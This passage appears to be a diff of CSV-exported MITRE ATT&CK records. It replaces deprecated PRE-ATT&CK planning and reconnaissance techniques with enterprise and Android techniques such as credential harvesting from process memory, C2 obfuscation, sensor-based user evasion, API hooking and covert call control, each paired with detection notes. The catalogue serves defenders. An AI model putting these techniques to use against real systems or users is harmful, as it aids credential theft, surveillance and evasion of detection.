matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1224). - -Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1224', external_id='T1224'), ExternalReference(source_name='ODNIIntegration', description='Office of the Director of National Intelligence. (n.d.). Intelligence Integration - Who Are We. Retrieved March 2, 2017.')]",attack-pattern--d3999268-740f-467e-a075-c82e2d04be62,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='priority-definition-planning')]",2020-10-26 13:42:49.342000+00:00,Assess leadership areas of interest,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",,Yes,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,,,,,PRE-T1001,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1238). - -Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1238', external_id='T1238'), ExternalReference(source_name='AnalystsAndPolicymaking', description='Jack Davis. (2002, September). Improving CIA Analytic Performance: Analysts and the Policymaking Process. Retrieved March 5, 2017.'), ExternalReference(source_name='JP2-01', description='Joint Chiefs of Staff. (2012, January 05). Joint and National Intelligence Support to Military Operations. Retrieved March 2, 2017.')]",attack-pattern--4fad17d3-8f42-449d-ac4b-dbb4c486127d,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='priority-definition-direction')]",2020-10-26 13:42:49.342000+00:00,"Assign KITs, KIQs, and/or intelligence requirements",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",,Yes,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,,,,,PRE-T1015,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1347). - -Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1347', external_id='T1347'), ExternalReference(source_name='APT1', description='Mandiant. (n.d.). APT1: Exposing One of China’s Cyber Espionage Units. Retrieved March 5, 2017.')]",attack-pattern--15ef4da5-3b93-4bb1-a39a-5396661956d3,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='build-capabilities')]",2020-10-26 13:42:49.342000+00:00,Build and configure delivery systems,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"It is detectable once deployed to the public Internet, used for adversarial purposes, discovered, and reported to defenders.",,Yes,"It is easy to create and burn infrastructure. Otherwise, blacklisting would be more successful for defenders.",,,,,PRE-T1124,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1391). - -The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer's identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1391', external_id='T1391'), ExternalReference(source_name='Fraudenlent Apps Stolen Dev Credentials', description='Galen Gruman. (2014, December 5). Keep out hijackers: Secure your app store dev account. Retrieved April 12, 2017.')]",attack-pattern--7a265bf0-6acc-4f43-8b22-2e58b443e62e,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='persona-development')]",2020-10-26 13:42:49.342000+00:00,Choose pre-compromised mobile app developer account credentials or signing keys,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.,,No,"The difficulty of obtaining useful developer credentials may vary. Well-organized, professional app developers whose credentials or signing keys would be the most useful to an adversary because of the large install bases of their apps, would likely strongly protect their credentials and signing keys. Less-organized app developers may not protect their credentials and signing keys as strongly, but the credentials and signing keys would also be less useful to an adversary. These less-organized app developers may reuse passwords across sites, fail to turn on multi-factor authentication features when available, or store signing keys in unprotected locations.",,,,,PRE-T1168,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1354). - -There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1354', external_id='T1354'), ExternalReference(source_name='TempertonDarkHotel', description='Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.', url='https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage')]",attack-pattern--5a68c603-d7f9-4535-927e-ab56819eaa85,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='build-capabilities')]",2020-10-26 13:42:49.342000+00:00,Compromise 3rd party or closed-source vulnerability/exploit information,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"The compromise of unknown vulnerabilities would provide little attack and warning against a defender, rendering it highly challenging to detect.",,No,"Finding, attacking, and compromising a 3rd party or closed vulnerability entity is challenging, because those containing the vulnerabilities should be very aware of attacks on their environments have a heightened awareness.",,,,,PRE-T1131,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1279). - -Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1279', external_id='T1279'), ExternalReference(source_name='SEAttackVectors', description='Mathew J. Schwartz. (2011, September 14). Social Engineering Leads APT Attack Vectors. Retrieved March 5, 2017.'), ExternalReference(source_name='BeachSE2003', description='Gary Beach. (2003, October 1). Kevin Mitnick on Social Engineering Hackers. Retrieved March 5, 2017.')]",attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='organizational-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Conduct social engineering,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.,,Yes,Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.,,,,,PRE-T1056,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1339). - -Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1339', external_id='T1339'), ExternalReference(source_name='LUCKYCAT2012', description='Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017.')]",attack-pattern--a425598d-7c19-40f7-9aa3-ac20f0d5c2b2,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='establish-&-maintain-infrastructure')]",2020-10-26 13:42:49.342000+00:00,Create backup infrastructure,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be obvious to those being attacked.",,Yes,"The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], commercial storage solutions).",,,,,PRE-T1116,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Credential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1374', external_id='T1374'), ExternalReference(source_name='DriveByPharming', description='Ellen Messmer. (2008, January 22). First case of ""drive-by pharming"" identified in the wild. Retrieved March 2, 2017.'), ExternalReference(source_name='GoogleDrive Phishing', description='Nick Johnston. (2014, March 13). Google Docs Users Targeted by Sophisticated Phishing Scam. Retrieved March 29, 2017.')]",attack-pattern--38a6d2f5-d948-4235-bb91-bb01604448b4,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='launch')]",2020-03-30 14:18:16.035000+00:00,Credential pharming,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Fidelity of networking monitoring must be able to detect when traffic is diverted to non-normal sources at a site level. It is possible to identify some methods of pharming, but detection capabilities are limited and not commonly implemented.",,Yes,"Although it can be difficult to spoof/redirect content to a hostile service via DNS poisoning or MiTM attacks, current malware such as Zeus is able to successfully pharm credentials and end users are not well-versed in checking for certificate mismatches.",,,False,,PRE-T1151,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1230). - -Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1230', external_id='T1230'), ExternalReference(source_name='LowenthalCh4', description='Mark M. Lowenthal. (n.d.). Ch 4: The Intelligence Process--A Macro Look; Who Does What for Whome?, Intelligence: From Secrets to Policy. Retrieved March 2, 2017.'), ExternalReference(source_name='Heffter', description='Clyde R. Heffter. (2011, August 4). A Fresh Look at Collection Requirements. Retrieved March 2, 2017.')]",attack-pattern--15d5eaa4-597a-47fd-a692-f2bed434d904,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='priority-definition-planning')]",2020-10-26 13:42:49.342000+00:00,Derive intelligence requirements,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",,Yes,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,,,,,PRE-T1007,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1250). - -Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1250', external_id='T1250'), ExternalReference(source_name='RSA-APTRecon', description='Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.')]",attack-pattern--23ecb7e0-0340-43d9-80a5-8971fe866ddf,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Determine domain and IP address space,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Public or easily obtainable information by design.,,Yes,"AS and IANA data are easily available, existing research tools.",,,,,PRE-T1027,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1282). - -Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1282', external_id='T1282'), ExternalReference(source_name='RSA-APTRecon', description='Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.')]",attack-pattern--2011ffeb-8003-41ef-b962-9d1cbfa35e6d,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='organizational-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Determine physical locations,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Adversary searches publicly available sources that list physical locations that cannot be monitored by a defender or are not necessarily monitored (e.g., all IP addresses touching their public web space listing physical locations).",,Yes,Most corporations now list their locations on public facing websites. Some challenge still exists to find covert or sensitive locations.,,,,,PRE-T1059,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1350). - -An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1350', external_id='T1350'), ExternalReference(source_name='EquationQA', description='Kaspersky Lab. (2015, February). EQUATION GROUP: QUESTIONS AND ANSWERS. Retrieved March 9, 2017.', url='https://www.threatminer.org/_reports/2015/Equation_group_questions_and_answers.pdf')]",attack-pattern--82bbd209-f516-45e0-9542-4ffbbc2a8717,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='build-capabilities')]",2020-10-26 13:42:49.342000+00:00,Discover new exploits and monitor exploit-provider forums,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Public source external to the defender's organization.,,Yes,Many public sources exist for this information.,,,,,PRE-T1127,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1326). - -Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1326', external_id='T1326'), ExternalReference(source_name='ICANNDomainNameHijacking', description='ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.', url='https://www.icann.org/groups/ssac/documents/sac-007-en')]",attack-pattern--aadaee0d-794c-4642-8293-7ec22a99fb1a,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='establish-&-maintain-infrastructure')]",2020-10-26 13:42:49.342000+00:00,Domain registration hijacking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Generally not easily detectable unless domain registrar provides alerting on any updates.,,Yes,Requires adversary to gain access to an email account for person listed as the domain registrar/POC. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or take advantage of renewal process gaps.,,,,,PRE-T1103,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1261). +To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc//maps, where the directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.",False,"['Administrator', 'SYSTEM', 'root']","['Windows', 'Linux', 'macOS']",2.1,,,,,,, +attack-pattern,attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:18.931Z,2020-03-15T00:40:27.670Z,Data Obfuscation,"Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1001', 'external_id': 'T1001'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",False,,"['Linux', 'macOS', 'Windows']",1.1,,,True,,,, +attack-pattern,attack-pattern--2f0e8d80-4b8b-4f4a-b5cc-132afe7e057d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-09-30T18:18:52.285Z,2021-10-12T18:13:25.586Z,User Evasion,"Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary’s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device. -Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1261', external_id='T1261'), ExternalReference(source_name='CommonApplicationAttacks', description='Paul Ionescu. (2015, April 8). The 10 Most Common Application Attacks in Action. Retrieved March 5, 2017.'), ExternalReference(source_name='WebApplicationSecurity', description='Gregory Leonard. (2016, February). Getting Started with Web Application Security. Retrieved March 5, 2017.'), ExternalReference(source_name='SANSTop25', description='SANS Institute. (2011, June 27). CWE/SANS TOP 25 Most Dangerous Software Errors. Retrieved March 5, 2017.')]",attack-pattern--ef6197fd-a58a-4006-bfd6-1d7765d8409d,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,"Enumerate externally facing software applications technologies, languages, and dependencies",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,"Impossible to differentiate between an adversary and a normal user when accessing a site to determine the languages/technologies used. If active scanning tools are employed, then the defender has the ability to detect. However, this is typically not acted upon due to the large volume of this type of traffic and it will likely not prompt the defender to take any actionable defense. Defender review of access logs may provide some insight based on trends or patterns.",,Yes,Basic interaction with the site provides insight into the programming languages/technologies used for a given web site. Additionally many of the active scanning tools will also provide some insight into this information.,,,,,PRE-T1038,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1234). +While there are many ways this can be accomplished, one method is by using the device’s sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1618', 'external_id': 'T1618'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Mobile security products may be able to detect some forms of user evasion. Otherwise, the act of hiding malicious activity could be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",False,,['Android'],1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--ccde43e4-78f9-4f32-b401-c081e7db71ea,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-09-24T14:47:34.182Z,2021-10-04T20:08:47.559Z,Hooking,"Adversaries may utilize hooking to hide the presence of artifacts associated with their behaviors to evade detection. Hooking can be used to modify return values or data structures of system APIs and function calls. This process typically involves using 3rd party root frameworks, such as Xposed or Magisk, with either a system exploit or pre-existing root access. By including custom modules for root frameworks, adversaries can hook system APIs and alter the return value and/or system data structures to alter functionality/visibility of various aspects of the system.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1617', 'external_id': 'T1617'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jörg Abraham, EclecticIQ']",,,"Hooking can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",False,,['Android'],1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--351ddf79-2d3a-41b4-9bef-82ea5d3ccd69,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-09-20T13:42:20.824Z,2021-09-27T18:05:42.788Z,Call Control,"Adversaries may make, forward, or block phone calls without user authorization. This could be used for adversary goals such as audio surveillance, blocking or forwarding calls from the device owner, or C2 communication. -Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1234', external_id='T1234'), ExternalReference(source_name='Herring1999', description='Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved March 2, 2017.')]",attack-pattern--e754fa49-2db1-416b-92db-7f886decd099,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='priority-definition-planning')]",2020-10-26 13:42:49.342000+00:00,Generate analyst intelligence requirements,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",,Yes,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,,,,,PRE-T1011,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1280). +Several permissions may be used to programmatically control phone calls, including: -Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1280', external_id='T1280'), ExternalReference(source_name='Scasny2015', description='Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.'), ExternalReference(source_name='Infosec-osint', description='InfoSec Institute. (2013, September 11). OSINT (Open-Source Intelligence). Retrieved May 9, 2017.')]",attack-pattern--1f82ef59-b7da-4cd3-a41c-2e80f80f084f,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='organizational-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Identify business processes/tempo,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Current or previous employees may divulge information on the Internet. If insiders are used, the defender may have policies or tools in place to detect loss of this data or knowledge.",,No,"In some cases, this requires some insider knowledge or specialized access to learn when critical operations occur in a corporation. For publicly traded US corporations, there is a lot of open source information about their financial reporting obligations (per SEC). Companies announce their annual shareholder meeting and their quarter phone calls with investors. Information such as this can help the adversary to glean certain aspects of the business processes and/or rhythm.",,,,,PRE-T1057,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1248). +* `ANSWER_PHONE_CALLS` - Allows the application to answer incoming phone calls(Citation: Android Permissions) +* `CALL_PHONE` - Allows the application to initiate a phone call without going through the Dialer interface(Citation: Android Permissions) +* `PROCESS_OUTGOING_CALLS` - Allows the application to see the number being dialed during an outgoing call with the option to redirect the call to a different number or abort the call altogether(Citation: Android Permissions) +* `MANAGE_OWN_CALLS` - Allows a calling application which manages its own calls through the self-managed `ConnectionService` APIs(Citation: Android Permissions) +* `BIND_TELECOM_CONNECTION_SERVICE` - Required permission when using a `ConnectionService`(Citation: Android Permissions) +* `WRITE_CALL_LOG` - Allows an application to write to the device call log, potentially to hide malicious phone calls(Citation: Android Permissions) -Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1248', external_id='T1248'), ExternalReference(source_name='JobPostingThreat', description='Jay D. Krasnow. (2000, October). The Competitive Intelligence and National Security Threat from Website Job Listings. Retrieved March 16, 2017.')]",attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Identify job postings and needs/gaps,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Impossible to differentiate between an adversary and a normal user when accessing open/public information.,,Yes,Publicly posted information by design. Providing too much detail in the job posting could aid the adversary in learning more about the target's environment and possible technical weaknesses/deficiencies.,,,,,PRE-T1025,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1348). +When granted some of these permissions, an application can make a phone call without opening the dialer first. However, if an application desires to simply redirect the user to the dialer with a phone number filled in, it can launch an Intent using `Intent.ACTION_DIAL`, which requires no specific permissions. This then requires the user to explicitly initiate the call or use some form of [Input 